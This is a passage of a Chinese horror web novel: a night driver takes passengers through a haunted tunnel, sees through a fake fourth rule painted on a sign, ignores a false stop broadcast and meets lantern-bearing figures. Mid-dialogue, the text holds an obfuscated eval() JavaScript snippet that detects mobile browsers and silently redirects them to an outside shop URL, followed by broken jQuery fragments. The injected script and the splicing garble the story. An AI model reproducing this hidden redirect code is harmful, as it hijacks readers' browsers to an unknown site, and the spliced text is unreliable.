后半夜一点，老周把她叫醒了。
姜迟在修理铺后间眯了两个钟头，没睡着踏实，脑子一直嗡嗡的。
起来洗了把脸，检查车，八个乘客还在车厢里，隔着隔断听不见动静。
她抱着油布盒子放进车厢，固定在角落里，绑了两道绳。
老周站在门口，递给她一个手电筒。
“隧道里用。”他说，“别开大灯。”
“隧道里不让开灯？”
“不让开车灯。”老周说，“手电能开，但只能照地上，不能照人，不能照顶棚。”
姜迟接过手电，别在腰上。
“大爷，我这一车人，带着走隧道没事吧？”
“人货过隧道，闭气就行。”老周说，“你让她们都别说话，别哭，别出声。隧道里的东西听不见响动，找不着你们。”
姜迟上车前，老周又塞给她一张纸条。
“收据。”他说，“修理铺的收据，货款的凭据。到了七号仓，老头验货的时候，你把这给他。别弄丢了。”
纸条是随手撕的烟盒纸，上头用圆珠笔写着几行字，盖了个红指头印。姜迟折好，揣进内兜，贴着胸口。
出收费站走的是东头老闸口。闸口没人，栏杆锈着，她按了两声喇叭，栏杆自己抬起来了。
出了闸口，身后的灯火退得很快。前方是老路，水泥路面，年久失修，裂缝里长着草，路面窄，勉强两辆车错开。
这条路上有雾，雾贴着地皮走，车灯照出去，能看见雾往两边让，让出中间一条道。
姜迟按老周说的，车速压在四十，不急不缓。
开了二十来分钟，手机震动了一下。她单手扫了一眼，是订单更新。
【第二单更新：路线变更。】
【新增途经点：青岭隧道。】
【提示：人货与顺路货可同程，隧道内保持安静。】
第二单的收货地还是没解锁，但路线认了这条隧道。看来老周让她走这，不是随便指的。
又开了十几分钟，前方出现了一段上坡。坡顶上立着一块牌子，她放慢车速，车灯照上去。
牌子是老式的，铁皮包边，白底，红漆的字已经斑驳：
【青岭隧道】
【前方进入隧道，请遵守以下规定：】
【一、隧道内禁止开灯。】
【二、隧道内禁止鸣笛。】
【三、隧道内禁止停车。】
【四、如遇隧道广播，请立即靠边停车收听。】
姜迟把车停在牌子跟前，看了一遍。
一二三她都知道，老周交代过。第四条是新东西，而且跟前三条拧着。前三条说禁止停车，第四条说听到广播要立即靠边停车。
她正琢磨，备注栏里浮出一行小字：
【第四条是假的，漆是新的。】
姜迟凑近牌子看。红漆确实新，前三条的漆皮开裂，颜色发暗，第四条的字颜色鲜亮，笔画饱满，是后刷上去的。
后刷上去的，就是后补的规矩。谁补的？补这个规矩想让司机停车，停了车会怎样？
她从兜里摸出手电，绕着牌子转了一圈。牌子背面还有字，用白漆写的，不凑近看不清。她用手电照着看。
背面写的是一段旧事，某某年某月，隧道内发生交通事故，造成人员伤亡，提醒广大司机朋友安全驾驶。
落款日期，十九年前。
姜迟站在牌子前，心里过了一遍。十九年前，隧道里翻了一辆货车，烧死了两个人，姓姜的。
她回到车上，刚要发动，前方隧道口传来一阵响动。
咣当一声，像是什么铁门被推开。紧接着，隧道口的黑暗里走出来一个人。
那人穿着一身旧制服，戴着大檐帽，手里拎着一盏马灯，马灯的光是黄的。他走到路中间，站定，朝姜迟的车招了招手。
姜迟按下车窗。
“师傅。”那人开口，声音沙哑，“过隧道啊？”
“嗯。”
“看牌子了吗？”
“看了。”
“第四条看了吗？”那人往前走了两步，马灯举高了些，“隧道里最近有广播，听到广播必须靠边停车，这是新规定，上个月刚下的。”
“前三条说禁止停车。”姜迟说。
“特殊情况特殊处理。”那人说，“广播响了不停车，出了事算谁的？你这一车货，金贵吧？”
姜迟看着他。大檐帽压得很低，看不见眼睛，只看得见下半张脸，下巴上一道旧疤。
“你是守隧道的？”
“守了十几年了。”那人说，“隧道里的一草一木我都熟。听我的，保你平安过洞。”
“广播什么时候响？”
“不一定。”那人把马灯挂在牌子边上，“有时候刚进洞就响，有时候快到出口才响。响了你停车，听完了再走，别抢那几分钟。”
姜迟没说话。
她在心里过了一遍。隧道里禁止开灯，禁止鸣笛，禁止停车。现在有个人站在隧道口，让她听到广播就停车。
备注栏那行字还挂在屏幕上：第四条是假的，漆是新的。
“行。”她说，“我记住了。”
“记住了就好。”那人把大檐帽往上推了推，露出眼睛。那双眼白多黑少，看人的时候不聚焦，“师傅，你这车拉的是什么？”
“货。”
“什么货
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17947444|214093||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
？”
“面单上写什么就是什么。”姜迟说，“师傅，隧道里的规矩我知道，可这条路上的规矩你也该知道。问货，犯忌讳。”
那人笑了笑，不再问了。他拎起马灯，退到路边。
“进洞吧。”他说，“开慢点，注意听。”
姜迟升上车窗，挂挡，起步。
车头掠过牌子，掠过那人身边的时候，她用车灯扫了一下他的影子。
地上没有影子。
马灯在地上投下他的影子，可那影子不是人形，是一条，长长的一条，趴在地上，像蛇。
姜迟没停，方向盘稳稳地打进隧道口。
隧道里的黑跟外头不一样。外头的黑是夜，隧道里的黑是实的，车灯照进去，光柱被吃掉大半，照不出五米。
她关了远光灯，只留近光，车速降到二十。
隧道两壁是水泥的，渗水，一道一道的水痕在灯光里泛光。路中间的分道线早就磨没了，她凭感觉贴着中间开。
车厢里安安静静。八个乘客从始至终没出过声，也不知道她们听没听见闭气那句。
开了大概五分钟，前方隧道深处，传来一个声音。
刺啦，刺啦。
像老收音机调台的声音。
紧接着，隧道两壁的某个地方，有喇叭响了。那喇叭不知道装在哪，声音从四面八方压过来，在隧道里嗡嗡地撞。
一个女声，平板，跟导航一个调子：
“各位司机朋友请注意，前方路段发生塌方，请所有车辆立即靠边停车，等待通行。”
广播响了。
第四条说，听到广播立即靠边停车。
姜迟握着方向盘，没有减速。
她的眼睛盯着前方，脑子里是隧道口那块牌子。前三个字迹斑驳，第四条鲜亮如新。老周说，这条路上的规矩，漆新的就是假的，假的就是有人要你的命。
车继续往前开。
广播又响了一遍，还是那个女声，还是那套话。见她没有反应，广播的调子变了，变得急促。
“立即停车！立即停车！前方塌方！立即停车！”
姜迟踩油门的脚没有松。
广播停了。
隧道里重新静下来，只有发动机的嗡嗡声和水滴的声音。
姜迟刚要松一口气，前方的黑暗里，亮起了一片光。
车灯照过去，照出了那片光的来源。
前方隧道的路面上，横着几辆翻倒的车，一辆压着一辆，把整条隧道堵死了。
车之间的空隙里，站着人影，一个，两个，十几个，全都面朝她的方向。
光就是从那群人手里发出来的。人手一盏马灯。